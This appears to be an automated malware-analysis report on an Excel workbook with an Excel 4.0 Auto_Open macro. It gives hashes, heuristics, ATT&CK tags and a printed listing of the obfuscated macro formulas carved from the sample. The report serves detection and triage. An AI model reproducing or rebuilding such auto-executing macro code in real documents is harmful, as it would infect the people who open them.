Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5231dfe143f97d1b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:46 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 257ef29694b6cacae069bd75949c2188 SHA-1: 249d7ba7e0305068775a1384a655d63783cff73b SHA-256: 5231dfe143f97d1bd4767f950f83f2ede4ce30369d3be75c16c39f178d726049
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 macros, specifically an Auto_Open macro. This macro is designed to execute dangerous formula APIs, indicating an intent to run arbitrary code. The presence of an Auto_Open macro strongly suggests the file is designed to download and execute a secondary payload upon opening.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6830 bytes
SHA-256: 6fd5e4ab79850c69c33d0631fa6437d59504d39f4c01e105367af897c9cc7562
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NJCkfsEDqOl
' 0018     25 LABEL : Cell Value, String Constant - aKmvxljDme len=0 
' 0018     22 LABEL : Cell Value, String Constant - aSifENM len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I142 
' 0018     21 LABEL : Cell Value, String Constant - DOXOIX len=0 
' 0018     24 LABEL : Cell Value, String Constant - dxOJbPVkk len=0 
' 0018     20 LABEL : Cell Value, String Constant - iefhD len=0 
' 0018     26 LABEL : Cell Value, String Constant - IwCUNjUhXWP len=0 
' 0018     26 LABEL : Cell Value, String Constant - jvTekIBPhWA len=0 
' 0018     22 LABEL : Cell Value, String Constant - nLWCgvO len=0 
' 0018     24 LABEL : Cell Value, String Constant - ofKdEqYpG len=0 
' 0018     25 LABEL : Cell Value, String Constant - OOotGkykVk len=0 
' 0018     22 LABEL : Cell Value, String Constant - PgTjGZi len=0 
' 0018     21 LABEL : Cell Value, String Constant - pOUIwH len=0 
' 0018     21 LABEL : Cell Value, String Constant - qmLtfZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - sUmlqexJiO len=0 
' 0018     22 LABEL : Cell Value, String Constant - sYtDlHt len=0 
' 0018     22 LABEL : Cell Value, String Constant - TdUMSbX len=0 
' 0018     20 LABEL : Cell Value, String Constant - vJZkF len=0 
' 0018     20 LABEL : Cell Value, String Constant - vrkDR len=0 
' 0018     24 LABEL : Cell Value, String Constant - wahfXQihq len=0 
' 0018     25 LABEL : Cell Value, String Constant - zRxhJATdwL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NJCkfsEDqOl,I55,"SET.NAME("aKmvxljDme",0+VALUE("0"))",""
'  NJCkfsEDqOl,I58,"SET.NAME("TdUMSbX",aKmvxljDme)",""
'  NJCkfsEDqOl,I62,"SET.NAME("DOXOIX",aKmvxljDme)",""
'  NJCkfsEDqOl,I66,"SET.NAME("vrkDR",COUNTA(vJZkF))",""
'  NJCkfsEDqOl,Q66,"",-498.00000000000000000000
'  NJCkfsEDqOl,Q67,"",-760.00000000000000000000
'  NJCkfsEDqOl,I68,"SET.NAME("wahfXQihq",COUNTA(zRxhJATdwL))",""
'  NJCkfsEDqOl,Q68,"",-722.00000000000000000000
'  NJCkfsEDqOl,Q69,"",-890.00000000000000000000
'  NJCkfsEDqOl,Q70,"",900.00000000000000000000
'  NJCkfsEDqOl,I71,[],""
'  NJCkfsEDqOl,Q71,"",874.00000000000000000000
'  NJCkfsEDqOl,I76,"SET.NAME("ofKdEqYpG","")",""
'  NJCkfsEDqOl,I81,"TdUMSbX",""
'  NJCkfsEDqOl,I84,"SET.NAME("sYtDlHt",HLOOKUP("*",vJZkF,TdUMSbX,FALSE))",""
'  NJCkfsEDqOl,I87,"OOotGkykVk",""
'  NJCkfsEDqOl,I90,"SET.NAME("sUmlqexJiO",aKmvxljDme)",""
'  NJCkfsEDqOl,I92,[],""
'  NJCkfsEDqOl,I95,"sUmlqexJiO",""
'  NJCkfsEDqOl,I98,"IwCUNjUhXWP",""
'  NJCkfsEDqOl,I101,"jvTekIBPhWA",""
'  NJCkfsEDqOl,I106,"iefhD",""
'  NJCkfsEDqOl,I110,"SET.NAME("PgTjGZi",VALUE(HLOOKUP("*",zRxhJATdwL,iefhD,FALSE)))",""
'  NJCkfsEDqOl,I112,"nLWCgvO",""
'  NJCkfsEDqOl,I115,"ofKdEqYpG",""
'  NJCkfsEDqOl,I120,"DOXOIX",""
'  NJCkfsEDqOl,I122,NEXT(),""
'  NJCkfsEDqOl,I127,"qmLtfZ",""
'  NJCkfsEDqOl,I129,[],""
'  NJCkfsEDqOl,I131,"aSifENM",""
'  NJCkfsEDqOl,I136,NEXT(),""
'  NJCkfsEDqOl,I138,RETURN(),""
'  NJCkfsEDqOl,I171,"SET.NAME("pOUIwH",I55)",""
'  NJCkfsEDqOl,I173,"vJZkF",""
'  NJCkfsEDqOl,I176,"SET.NAME("zRxhJATdwL",R86C15)",""
'  NJCkfsEDqOl,I178,"SET.NAME("aSifENM",187)",""
'  NJCkfsEDqOl,I181,"SET.NAME("dxOJbPVkk",9)",""
'  NJCkfsEDqOl,I186,pOUIwH(),""
'  NJCkfsEDqOl,I187,HALT(),""

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